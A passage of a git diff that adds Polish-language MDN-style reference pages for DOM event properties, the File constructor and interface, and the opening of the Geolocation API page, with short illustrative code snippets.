+ <li><code>klawisz</code> jest wartością kodu Unicode klawisza, który został wciśnięty w tym zdarzeniu.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zobacz opis właściwości <a href="pl/DOM/event.charCode">charCode</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do specyfikacji. Zobacz <a href="pl/NsIDOMKeyEvent">nsIDOMKeyEvent</a>.</p>
+<p>{{ languages( { "en": "en/DOM/event.keyCode" } ) }}</p>
diff --git a/files/pl/web/api/event/layerx/index.html b/files/pl/web/api/event/layerx/index.html
new file mode 100644
index 0000000000..5a69b4c864
--- /dev/null
+++ b/files/pl/web/api/event/layerx/index.html
@@ -0,0 +1,15 @@
+---
+title: event.layerX
+slug: Web/API/Event/layerX
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/layerX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczba</i> = event.layerX
+</pre>
+<p>{{ languages( { "en": "en/DOM/event.layerX" } ) }}</p>
diff --git a/files/pl/web/api/event/layery/index.html b/files/pl/web/api/event/layery/index.html
new file mode 100644
index 0000000000..f610d08357
--- /dev/null
+++ b/files/pl/web/api/event/layery/index.html
@@ -0,0 +1,17 @@
+---
+title: event.layerY
+slug: Web/API/Event/layerY
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/layerY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem bieżącej warstwy.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczba</i> = event.layerY
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p>Nie należy do specyfikacji.</p>
+<p>{{ languages( { "en": "en/DOM/event.layerY" } ) }}</p>
diff --git a/files/pl/web/api/event/metakey/index.html b/files/pl/web/api/event/metakey/index.html
new file mode 100644
index 0000000000..a2c2758fb3
--- /dev/null
+++ b/files/pl/web/api/event/metakey/index.html
@@ -0,0 +1,30 @@
+---
+title: event.metaKey
+slug: Web/API/Event/metaKey
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/metaKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wartość logiczną wskazującą, czy klawisz &lt;meta&gt; był wciśnięty podczas wywołania zdarzenia.</p>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function goInput(e) {
+ // sprawdza metaKey
+ if (e.metaKey) {
+ // i przekazuje zdarzenie dalej
+ superSizeOutput(e);
+
+ } else {
+ doOutput(e);
+ }
+ }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Na niekótrych platformach metaKey może obsługiwać klawisz o innej nazwie.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-metaKey">metaKey</a></p>
+<p>{{ languages( { "en": "en/DOM/event.metaKey" } ) }}</p>
diff --git a/files/pl/web/api/event/pagex/index.html b/files/pl/web/api/event/pagex/index.html
new file mode 100644
index 0000000000..98c3c3e1ed
--- /dev/null
+++ b/files/pl/web/api/event/pagex/index.html
@@ -0,0 +1,17 @@
+---
+title: event.pageX
+slug: Web/API/Event/pageX
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/pageX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczba</i> = event.pageX
+</pre>
+<p>{{ languages( { "en": "en/DOM/event.pageX", "es": "es/DOM/event.pageX" } ) }}</p>
diff --git a/files/pl/web/api/event/pagey/index.html b/files/pl/web/api/event/pagey/index.html
new file mode 100644
index 0000000000..d82e2237df
--- /dev/null
+++ b/files/pl/web/api/event/pagey/index.html
@@ -0,0 +1,15 @@
+---
+title: event.pageY
+slug: Web/API/Event/pageY
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/pageY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całej strony.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczba</i> = event.pageY
+</pre>
+<p>{{ languages( { "en": "en/DOM/event.pageY" } ) }}</p>
diff --git a/files/pl/web/api/event/relatedtarget/index.html b/files/pl/web/api/event/relatedtarget/index.html
new file mode 100644
index 0000000000..c67389532a
--- /dev/null
+++ b/files/pl/web/api/event/relatedtarget/index.html
@@ -0,0 +1,56 @@
+---
+title: event.relatedTarget
+slug: Web/API/Event/relatedTarget
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/relatedTarget
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje na drugi cel zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">eventTarget = event.relatedTarget
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>eventTarget</code> to referencja do dodatkowego celu zdarzenia (obiektu <code>EventTarget</code>).</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>var rel = event.relatedTarget;
+// dump("LEAVING " + (rel ? rel.localName : "null") + "\n");
+// relatedTarget is null when the titletip is first shown:
+// a mouseout event fires because the mouse is exiting
+// the main window and entering the titletip "window".
+// relatedTarget is also null when the mouse exits the main
+// window completely, so count how many times relatedTarget
+// was null after titletip is first shown and hide popup
+// the 2nd time
+if (!rel) {
+ ++this._mouseOutCount;
+ if (this._mouseOutCount &gt; 1)
+ this.hidePopup();
+ return;
+}
+// find out if the node we are entering is one of our
+// anonymous children
+while (rel) {
+ if (rel == this)
+ break;
+ rel.parentNode;
+}
+// if the entered node is not a descendant of ours, hide
+// the tooltip
+if (rel != this &amp;&amp; this._isMouseOver) {
+ this.hidePopup();
+}
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Za specyfikacją W3C: "Obecnie ten atrybuty używany jest przy zdarzeniu <a href="pl/DOM/element.onmouseover">mouseover</a>, gdzie kieruje do <code>EventTarget</code>, jaki opuściło urządzenie wskazujące oraz przy zdarzeniu <a href="pl/DOM/element.onmouseout">mouseout</a>, gdzie kieruje do EventTarget, w który weszło urządzenie wskazujące."</p>
+<p>Powyzszy przykład jest typowy - właściwość <b>relatedTarget</b> używana jest by znaleźć, jeśli jest związany z tym zdarzeniem, kolejny element. Zdarzenia takie jak najechanie myszą (
+ <i>
+ mouseover</i>
+ ) są powiązane z konkretnym elementem docelowym, ale mogą też angażować drugi cel, jak np. element opuszczany przez mysz w momencie, gdy najechania na główny cel.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-relatedTarget">relatedTarget </a></p>
+<p>{{ languages( { "en": "en/DOM/event.relatedTarget" } ) }}</p>
diff --git a/files/pl/web/api/event/screenx/index.html b/files/pl/web/api/event/screenx/index.html
new file mode 100644
index 0000000000..5bafc490da
--- /dev/null
+++ b/files/pl/web/api/event/screenx/index.html
@@ -0,0 +1,33 @@
+---
+title: event.screenX
+slug: Web/API/Event/screenX
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/screenX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca poziomą współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczbaPikseli</i> = event.screenX
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>liczbaPikseli</code> to odległość od lewej strony ekranu wyrażona w pikselach.</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function checkClickMap(e) {
+ if e.screenX &lt; 50
+ doRedButton();
+ if 50 &lt;= e.screenX &lt; 100
+ doYellowButton();
+ if e.screenX &gt;= 100
+ doRedButton();
+ }
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo, tak jak pokazuje powyższy przykład.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-screenX">screenX </a></p>
+<p>{{ languages( { "en": "en/DOM/event.screenX" } ) }}</p>
diff --git a/files/pl/web/api/event/screeny/index.html b/files/pl/web/api/event/screeny/index.html
new file mode 100644
index 0000000000..8b59c5a5e6
--- /dev/null
+++ b/files/pl/web/api/event/screeny/index.html
@@ -0,0 +1,23 @@
+---
+title: event.screenY
+slug: Web/API/Event/screenY
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/screenY
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca pionową współrzędną miejsca, gdzie wystąpiło zdarzenie, względem całego ekranu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>liczbaPikseli</i> = event.screenY
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>liczbaPikseli</code> to odległość od góry ekranu wyrażona w pikselach.</li>
+</ul>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Kiedy złapiesz zdarzenie w oknie, dokumencie czy innym obszernym elemencie możesz pobrać współrzędne tego zdarzenia (np. kliknięcia) i obsłużyć je prawidłowo. Zobacz przykład do <a href="pl/DOM/event.screenX">screenX</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-screenY">screenY </a></p>
+<p>{{ languages( { "en": "en/DOM/event.screenY" } ) }}</p>
diff --git a/files/pl/web/api/event/shiftkey/index.html b/files/pl/web/api/event/shiftkey/index.html
new file mode 100644
index 0000000000..1c09a012ce
--- /dev/null
+++ b/files/pl/web/api/event/shiftkey/index.html
@@ -0,0 +1,26 @@
+---
+title: event.shiftKey
+slug: Web/API/Event/shiftKey
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/MouseEvent/shiftKey
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Wskazuje, czy klawisz &lt;shift&gt; był wciśnięty przy wywołaniu zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval">bool = event.shiftKey
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> function goInput(e) {
+ // sprawdza shiftKey
+ if e.shiftKey
+ // i przekazuje zdarzenie dalej
+ superSizeOutput(e);
+ else
+ doOutput(e)
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-MouseEvent-shiftKey">shiftKey </a></p>
+<p>{{ languages( { "en": "en/DOM/event.shiftKey" } ) }}</p>
diff --git a/files/pl/web/api/event/stoppropagation/index.html b/files/pl/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..3026d761b3
--- /dev/null
+++ b/files/pl/web/api/event/stoppropagation/index.html
@@ -0,0 +1,26 @@
+---
+title: event.stopPropagation
+slug: Web/API/Event/stopPropagation
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/stopPropagation
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Przerywa dalsze propagowanie bieżącego zdarzenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>event</i>.stopPropagation()
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>e.stopPropagation();
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykład 5: Propagowanie zdarzeń</a> w rozdziale <a href="pl/Dokumentacja_Gecko_DOM/Przyk%c5%82ady_u%c5%bcycia_DOM">Przykłady użycia DOM</a> dokładniej obrazuje użycie tej metody i propagowanie zdarzeń w DOM.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-stopPropagation">DOM Level 2 Events: stopPropagation</a></p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/event.stopPropagation", "ja": "ja/DOM/event.stopPropagation" } ) }}</p>
diff --git a/files/pl/web/api/event/target/index.html b/files/pl/web/api/event/target/index.html
new file mode 100644
index 0000000000..b9df9f7b4f
--- /dev/null
+++ b/files/pl/web/api/event/target/index.html
@@ -0,0 +1,27 @@
+---
+title: event.target
+slug: Web/API/Event/target
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/target
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca referencję do elementu, do którego zdarzenie zostało pierwotnie wysłane.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>referencjaDoEventTarget</i> = event.target
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>referencjaDoEventTarget</code> to referencja do obiektu EventTarget</li>
+</ul>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre> d = document.getElementById("d1");
+ if e.target != d
+ resetGame();
+ // nie nasze zdarzenie
+</pre>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-target">target</a></p>
+<p>{{ languages( { "en": "en/DOM/event.target" } ) }}</p>
diff --git a/files/pl/web/api/event/timestamp/index.html b/files/pl/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..daead28251
--- /dev/null
+++ b/files/pl/web/api/event/timestamp/index.html
@@ -0,0 +1,47 @@
+---
+title: event.timeStamp
+slug: Web/API/Event/timeStamp
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/timeStamp
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca czas (w milisekundach od momentu Epoch), kiedy zdarzenie zostało utworzone.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>number</i> = event.timeStamp
+</pre>
+<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+
+&lt;title&gt;Przykład timeStamp&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+var curr_time = null;
+
+function getTime(evt) {
+ curr_time = evt.timeStamp;
+ document.getElementById("time").firstChild.nodeValue = curr_time;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onkeypress="getTime(event)"&gt;
+
+&lt;p&gt;Naciśnij jakikolwiek klawisz, aby pobrać aktualny timestamp
+dla zdarzenia onkeypress.&lt;/p&gt;
+&lt;p&gt;timeStamp: &lt;span id="time"&gt;-&lt;/span&gt;&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p> </p>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Ta własność działa tylko wtedy, gdy system obsługuje ją dla danego zdarzenia.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-timeStamp">timestamp</a></p>
+<p>{{ languages( { "en": "en/DOM/event.timeStamp" } ) }}</p>
diff --git a/files/pl/web/api/event/type/index.html b/files/pl/web/api/event/type/index.html
new file mode 100644
index 0000000000..dfc2875af1
--- /dev/null
+++ b/files/pl/web/api/event/type/index.html
@@ -0,0 +1,19 @@
+---
+title: event.type
+slug: Web/API/Event/type
+tags:
+ - DOM
+ - Wszystkie_kategorie
+translation_of: Web/API/Event/type
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca nazwę zdarzenia (niewrażliwe na wielkość znaków).</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>string</i> = event.type
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p><code>type</code> jest <a class="external" href="http://www.w3.org/TR/1998/REC-xml-19980210#NT-Name">nazwą XML-ową</a>.</p>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-Event-type">type</a></p>
+<p>{{ languages( { "en": "en/DOM/event.type" } ) }}</p>
diff --git a/files/pl/web/api/event/view/index.html b/files/pl/web/api/event/view/index.html
new file mode 100644
index 0000000000..57af70a587
--- /dev/null
+++ b/files/pl/web/api/event/view/index.html
@@ -0,0 +1,23 @@
+---
+title: event.view
+slug: Web/API/Event/view
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/UIEvent/view
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Atrybut <b>view</b> identyfikuje widok (interfejs AbstractView), w którym wygenerowane zostało zdarzenie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>referencjaDoAbstractView</i> = event.view
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<ul>
+ <li><code>referencjaDoAbstractView</code> to rerefencja do obiektu AbstractView.</li>
+</ul>
+<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-UIEvent-view">view</a></p>
+<p>{{ languages( { "en": "en/DOM/event.view" } ) }}</p>
diff --git a/files/pl/web/api/file/file/index.html b/files/pl/web/api/file/file/index.html
new file mode 100644
index 0000000000..0a1525bdc8
--- /dev/null
+++ b/files/pl/web/api/file/file/index.html
@@ -0,0 +1,68 @@
+---
+title: File.File()
+slug: Web/API/File/File
+tags:
+ - API
+translation_of: Web/API/File/File
+---
+<p>{{APIRef("File")}}</p>
+
+<p>Konstruktor <code><strong>File()</strong></code> tworzy nową instancję obiektu {{domxref("File")}}.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">File(bity, nazwa [, opcje]);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>bity</em></dt>
+ <dd>{{jsxref("Array")}} (Tablica) obiektów {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}} lub {{domxref("DOMString")}} — albo miks takich obiektów. Zawartość pliku jest zakodowana w UTF-8.</dd>
+ <dt><em>nazwa</em></dt>
+ <dd>Obiekt {domxref("USVString")}} reprezentujący nazwę pliku albo ścieżkę do niego.</dd>
+ <dt><em>opcje</em> {{optional_inline}}</dt>
+ <dd>Obiekt opcji, który zawiera opcjonalne atrybuty pliku. Dostępne są następujące możliwości:
+ <ul>
+ <li><code>type</code>: (typ) - Obiekt {{domxref("DOMString")}} reprezentujący typ MIME zawartości pliku. Domyślnie <code>"".</code></li>
+ <li><code>lastModified</code>: (ostatnio modyfikowany) Liczba reprezentująca liczbę milisekund pomiędzy Unix time epoch i datą ostatniej modyfikacji pliku. Domyślnie - wartość {{jsxref("Date.now()")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Przykład">Przykład</h2>
+
+<pre class="brush: js">var plik = new File(["foo"], "foo.txt", {
+ type: "text/plain",
+});</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Podstawowa definicja</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_między_przeglądarkami">Kompatybilność między przeglądarkami</h2>
+
+<div>
+
+
+<p>{{Compat("api.File.File")}}</p>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/pl/web/api/file/index.html b/files/pl/web/api/file/index.html
new file mode 100644
index 0000000000..50caf5366b
--- /dev/null
+++ b/files/pl/web/api/file/index.html
@@ -0,0 +1,112 @@
+---
+title: File
+slug: Web/API/File
+tags:
+ - API
+ - File API
+ - Interface
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - Web
+translation_of: Web/API/File
+---
+<div>{{APIRef}}</div>
+
+<p>The <strong><code>File</code></strong> interface provides information about files and allows JavaScript in a web page to access their content.</p>
+
+<p><code>File</code> objects are generally retrieved from a {{domxref("FileList")}} object returned as a result of a user selecting files using the {{HTMLElement("input")}} element, from a drag and drop operation's {{domxref("DataTransfer")}} object, or from the <code>mozGetAsFile()</code> API on an {{domxref("HTMLCanvasElement")}}. In Gecko, privileged code can create <code>File</code> objects representing any local file without user interaction (see {{anch("Implementation notes")}} for more information.)</p>
+
+<p>A <code>File</code> object is a specific kind of a {{domxref("Blob")}}, and can be used in any context that a Blob can. In particular, {{domxref("FileReader")}}, {{domxref("URL.createObjectURL()")}}, {{domxref("ImageBitmapFactories.createImageBitmap()", "createImageBitmap()")}}, and {{domxref("XMLHttpRequest", "", "send()")}} accept both <code>Blob</code>s and <code>File</code>s.</p>
+
+<p>See <a href="/en-US/docs/Using_files_from_web_applications">Using files from web applications</a> for more information and examples.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("File.File", "File()")}}</dt>
+ <dd>Returns a newly constructed <code>File</code>.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("File.lastModified")}} {{readonlyinline}}</dt>
+ <dd>Returns the last modified time of the file, in millisecond since the UNIX epoch (January 1st, 1970 at Midnight).</dd>
+ <dt>{{domxref("File.lastModifiedDate")}} {{readonlyinline}} {{deprecated_inline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>Returns the last modified <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code> of the file referenced by the <code>File</code> object.</dd>
+ <dt>{{domxref("File.name")}} {{readonlyinline}}</dt>
+ <dd>Returns the name of the file referenced by the <code>File</code> object.</dd>
+ <dt>{{domxref("File.webkitRelativePath")}} {{readonlyinline}} {{non-standard_inline}}</dt>
+ <dd>Returns the path the URL of the {{domxref("File")}} is relative to.</dd>
+</dl>
+
+<p><code>File</code> implements {{domxref("Blob")}}, so it also has the following properties available to it:</p>
+
+<dl>
+ <dt>{{domxref("File.size")}} {{readonlyinline}}</dt>
+ <dd>Returns the size of the file in bytes.</dd>
+ <dt>{{domxref("File.type")}} {{readonlyinline}}</dt>
+ <dd>Returns the <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>type of the file.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>The <code>File</code> interface doesn't define any methods, but inherits methods from the {{domxref("Blob")}} interface:</em></p>
+
+<dl>
+ <dt>{{domxref("Blob.slice()", "Blob.slice([start[, end[, contentType]]])")}}</dt>
+ <dd>Returns a new <code>Blob</code> object containing the data in the specified range of bytes of the source <code>Blob</code>.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.File")}}</p>
+</div>
+
+<p> </p>
+
+<h3 id="Implementation_notes">Implementation notes</h3>
+
+<ul>
+ <li>In Gecko, you can use this API from within chrome code. See <a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> for details. To use it from chrome code, JSM, and Bootstrap scope, you have to import it using <code><a href="/en-US/docs/Components.utils.importGlobalProperties">Cu.importGlobalProperties</a>(['File']);</code></li>
+ <li>Starting from Gecko 6.0 {{geckoRelease("6.0")}}, privileged code (such as extensions) can pass an {{interface("nsIFile")}} object to the DOM <code>File</code> constructor to specify the file to reference.</li>
+ <li>Starting from Gecko 8.0 {{geckoRelease("8.0")}}, you can use <code>new File</code> to create <code>File</code> objects from XPCOM component code instead of having to instantiate the {{interface("nsIDOMFile")}} object directly. The constructor takes, in contrast to {{domxref("Blob")}}, as second argument the filename. The filename can be any String.
+ <pre class="syntaxbox">new File(
+  Array parts,
+  String filename,
+ BlobPropertyBag properties
+);</pre>
+ </li>
+ <li>The following non-standard properties and methods were removed in Gecko 7 {{geckoRelease("7.0")}}: {{domxref("File.fileName")}}, {{domxref("File.fileSize")}}, {{domxref("File.getAsBinary()")}}, {{domxref("File.getAsDataURL()")}}, {{domxref("File.getAsText()","File.getAsText(string encoding)")}} ({{bug("661876")}}). Standard properties {{domxref("File.name")}}, {{domxref("Blob.size")}}, and methods on {{domxref("FileReader")}} should be used instead.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a></li>
+ <li>{{domxref("FileReader")}}</li>
+ <li><a href="/en-US/docs/Extensions/Using_the_DOM_File_API_in_chrome_code">Using the DOM File API in chrome code</a> (for privileged code running in Gecko, such as Firefox add-ons)</li>
+</ul>
diff --git a/files/pl/web/api/geolocation_api/index.html b/files/pl/web/api/geolocation_api/index.html
new file mode 100644
index 0000000000..5b53252074
--- /dev/null
+++ b/files/pl/web/api/geolocation_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Geolocation API
+slug: Web/API/Geolocation_API
+translation_of: Web/API/Geolocation_API
+---
+<div>{{securecontext_header}}{{DefaultAPISidebar("Geolocation API")}}</div>
+
+<p><strong>Geolokalizacja API</strong> umożliwia użytkownikowi zapewnić ich lokalizację do aplikacji internetowych, jeśli zechcą. Ze względów prywatności użytkownik jest proszony o zgodę na zgłoszenie informacji o lokalizacji.</p>
+
+<p>Rozszerzenia Web, które chcą korzystać z obiektu Geolokalizacja, muszą dodać <code>"geolocation"</code>uprawnienie do swojego manifestu. System operacyjny użytkownika poprosi użytkownika o zezwolenie na dostęp do lokalizacji przy pierwszym żądaniu.</p>
+
+<h2 id="Pojęcia_i_użycie">Pojęcia i użycie</h2>
+
+<p>Często będziesz chciał odzyskać informacje o lokalizacji użytkownika w swojej aplikacji internetowej, na przykład wykreślić jego lokalizację na mapie lub wyświetlić spersonalizowane informacje dotyczące ich lokalizacji.</p>
+
